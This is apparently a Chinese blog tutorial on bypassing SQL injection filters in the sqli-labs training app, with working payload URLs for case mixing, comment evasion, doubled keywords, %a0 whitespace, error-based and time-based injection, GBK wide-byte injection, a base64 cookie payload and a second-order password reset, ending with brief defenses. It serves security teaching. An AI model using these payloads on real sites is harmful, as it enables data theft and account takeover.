漏洞篇(SQL注入三)

目录

一、SQL 注入的绕过技术

1、大小写绕过

2、注释绕过

3、双写绕过

4、关键字等价绕过

5、绕过去除空格

6、绕过去除关键字的绕过

7、Mysql 宽字符绕过

8、base64 编码绕过      

二、二次注入修改其他用户密码

三、如何防御 SQL 注入


一、SQL 注入的绕过技术

1、大小写绕过

如果过滤器通过关键字进行过滤并没有识别大小写 ,我们就可以使用大小写来进行绕过,因为 SQL 语句是不区分大小写的。
        
原始语句
SELECT * FROM users WHERE id='1' LIMIT 0,1
        
大小写掺杂注入
SELECT * FROM users WHERE id='1' And 1=1--+' LIMIT 0,1
问题存在的原因是:过滤器过滤了正常的关键字,但是并没有对字符串进行处理。
        
        

2、注释绕过

Less-23

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-23/index.php

我们可以看到 Less-23 中源代码过滤了单行注释的方法,我们可以正常闭合 SQL 语句来进行绕过。
程序代码中的 preg_replace(查找并替换)解释:
$id = preg_replace($reg, $replace, $id)
        
#$id = 表示重新赋值,preg_replace()查找和替换的函数,$reg 表示 reg 变量中的值为查找内容(值为:#),$replace 表示 replace 变量中的值为替换内容(该值为空),$id 表示查找并替换的目标。
即是对用户传递 id 的值中的内容,查找# 并替换为空,而后再重新赋值回 id,从而达到过滤效果
通过以上程序中代码可看到被过滤的有 # 和 -- ,因此不能够使用注释进行注入,下面绕过注释进
行注入。
        
例 1:
http://192.168.1.103/sqli-labs/Less-23/?id=-1' union select 1,database(),'3 

        

我们在第三个字段前添加一个单引号来闭合 id 字段后面的单引号,我们前面用到了一种类似的方
法。
语句分析:
语句中的 -1' union select 1,database(), '3 ,其中的 -1' 单引号用于闭合原语句中的前面单引
号, '3 是用于闭合原语句中后面的单引号
原来语句:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
注入后的语句:
SELECT * FROM users WHERE id=' -1' union select 1,database(),'3 ' LIMIT 0,1
由此可以拼接成一条完整可执行的语句。
        
        
例 2:使用逻辑运算注入
http://192.168.1.103/sqli-labs/Less-23/?id=-1' union select 1,database(),3 and '1'='1
        

使用 and 或者 or 添加一个表达式 or '1' = '1 注意后面一定要缺省一个单引号。否则 SQL 语句不能正常闭合。

        

3、双写绕过

前面我们介绍了 PHP 过滤函数可以过滤注释符,同样它也可以过滤关键字。
Less-25
        

代码中过滤了 or 和 AND,大小写同样都被过滤了
        
例 1:双写搭配大小写绕过
        
http://192.168.1.103/sqli-labs/Less-25/?id=-1' union select 1,database(),3 AandNd '1'='1
        

         

4、关键字等价绕过

Less-25
        
例 1:
http://192.168.1.103/sqli-labs/Less-25/?id=1 && id=2--
        
        
我们可以看到这条语句 id=1 后面并没有单引号,原因是使用&&进行连接时不需要进行闭合,流程
为 id=1 然后继续执行 id=2 最后--+单行注释
因为 id=1 && id=2 都是在同一个 URL 中指定,首先 id=1,这个时候 id 的变量中的值为 1。此
时,数据还没带到数据库里查询,因为还有 && id=2,然后 id 再重新传递一次,这个时候 id 的变量中 的值就变成了 2,然后传参结束,所以最终的值是 2,再到数据库里执行,结果是 id=2 的记录。
        
例 2:
http://192.168.1.103/sqli-labs/Less-25/?id=-1' || id=2--+
         
这里 id=-1'使 SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=2 最终--+单行注释
|| 前面 SQL 语句执行失败才会执行后面语句,这一点和 union 是一样的,需要我们手动将前面代码 进行报错。
        

5、绕过去除空格

Less-26
        
可替代空格使用的符号:
%20 %09 %0a %0b %0c %0d %a0 /**/                 #ascii 码转 url 编码
        
例:当前案例测试只有%a0 可以替换成功。
        
http://192.168.1.106/sqli-labs/Less-
26/?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
        

相当于:
http://192.168.1.63/sqli-labs/Less-26/?id=0' union select 1,database(),3 && '1'='1
说明:
%a0                 #表示空格,MySQL 中%a0 代表空白符,可以代替空格
%26                 #表示&
%27                 #表示 ' 单引号
        
        

6、绕过去除关键字的绕过

Less-27
源码中过滤了常用注释和 union、select
        

 不过我们可以看到代码中的过滤并不完善,我们可以利用前面学过的多种方式进行绕过。

        
例 1:大小写绕过

http://192.168.1.103/sqli-labs/Less-27/?id=1' 
and%a0updatexml(1,concat(0x7e,(sElEct%a0database()),0x7e),1) and '1'='1

 例 2:盲注绕过

http://192.168.1.103/sqli-labs/Less-27/?id=1' 
and%a0if((length(database())=8),sleep(3),null)and '1'='1

        

7、Mysql 宽字符绕过

原理:
GBK 占用两字节
ASCII 占用一字节
PHP 中编码为 GBK,函数执行添加的是 ASCII 编码,MYSQL 默认字符集是 GBK 等宽字节字符
集。
Mysql 在使用 GBK 编码时,会认为两个字符为一个汉字。宽字节注入就是发生在 PHP 向 Mysql
请求时字符集使用了 GBK 编码。
                  
我们可以看到经过 addslashes()函数过滤后我们输入的字符会被转义,我们只输入的是一个\,结果反馈出来的是\\,由此证明,我们输入的\被转义了
        
http://192.168.1.103/sqli-labs/Less-33/?id=-1%df' union select 1,database(),user()--+
        

         

这是因为 id 的参数传入代码层,就会在 ' 前加一个\,由于采用的 URL 编码,所以产生的效果
是:%df%5c%27,关键就在这里,在 GBK 编码中,两个字符表示一个汉字,所以%df 把%5c 吃掉形 成了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义了,可以发挥效果。
宽字符注入的必要条件,第一个字符的 ASCII 码必须大于 128。具体的参照 ASCII 表。
        
        

8、base64 编码绕过      

URL 编码是一种用途广泛的技术,可以通过 URL 编码来绕过多种类型的过滤器,通常会将存在问题 的字符自转换成十六进制 ASCII 码来进行替换,并且将 0x 替换为%。
        
例:单引号的的 ASCII 码为 0x27 替换为 URL 编码为%27
        
Less-22
        
源码:
$cookee = base64_decode($cookee);
PHP 代码使用 base64_decode();函数来进行解码
回到代理截断请求,可以看到 Cookie
        
   
        
复制编码后的字符,并把截获的请求发送到 Repeater(按 Ctrl+r)
        

 

通过以上实验可看到闭合方式是双引号 "  

admin" and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1
复制编码后的字符,点击 Repeater 进行注入:
        
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2
UpLDEpIG9yICIxIj0iMQ==
        

         

二、二次注入修改其他用户密码

Less-24
新建用户 admin'-- +
注:--空格是注释,但是空格在提交参数是会被自动忽略掉,所以我们在空格后面加个字符避免空格 被忽略导致二次注入时注释失效。
        

         

分析源代码还原 SQL 语句
        
[root@xuegod63 ~]# vim /var/www/html/sqli-labs/Less-24/pass_change.php
第 38 行
        
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and
password='$curr_pass' ";
        
我们将用户信息带入
UPDATE users SET PASSWORD='xuegod' where username=' admin' -- +' and
password='123456'
        
最终执行
UPDATE users SET PASSWORD='xuegod' where username=' admin';
        
总结:二次注入构建了一个能够被重复利用的 payload。
        

三、如何防御 SQL 注入

我们前面举例了大量的 SQL 注入攻击的案例和技巧,都是因为程序要接收用户输入的变量或者 URL传递的参数,并且参数或变量会被组成 SQL 语句的一部分被执行。这些数据我们统称为外部数据,在安全领域有一条规则:外部数据不可信任。所以我们需要通过各种方式对数据进行检测和过滤。
1. 检查变量数据类型和格式
2. 过滤特殊符号
3. 绑定变量,使用预编译语句。#MySQL 的 mysqli 驱动提供了预编译语句的支持
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值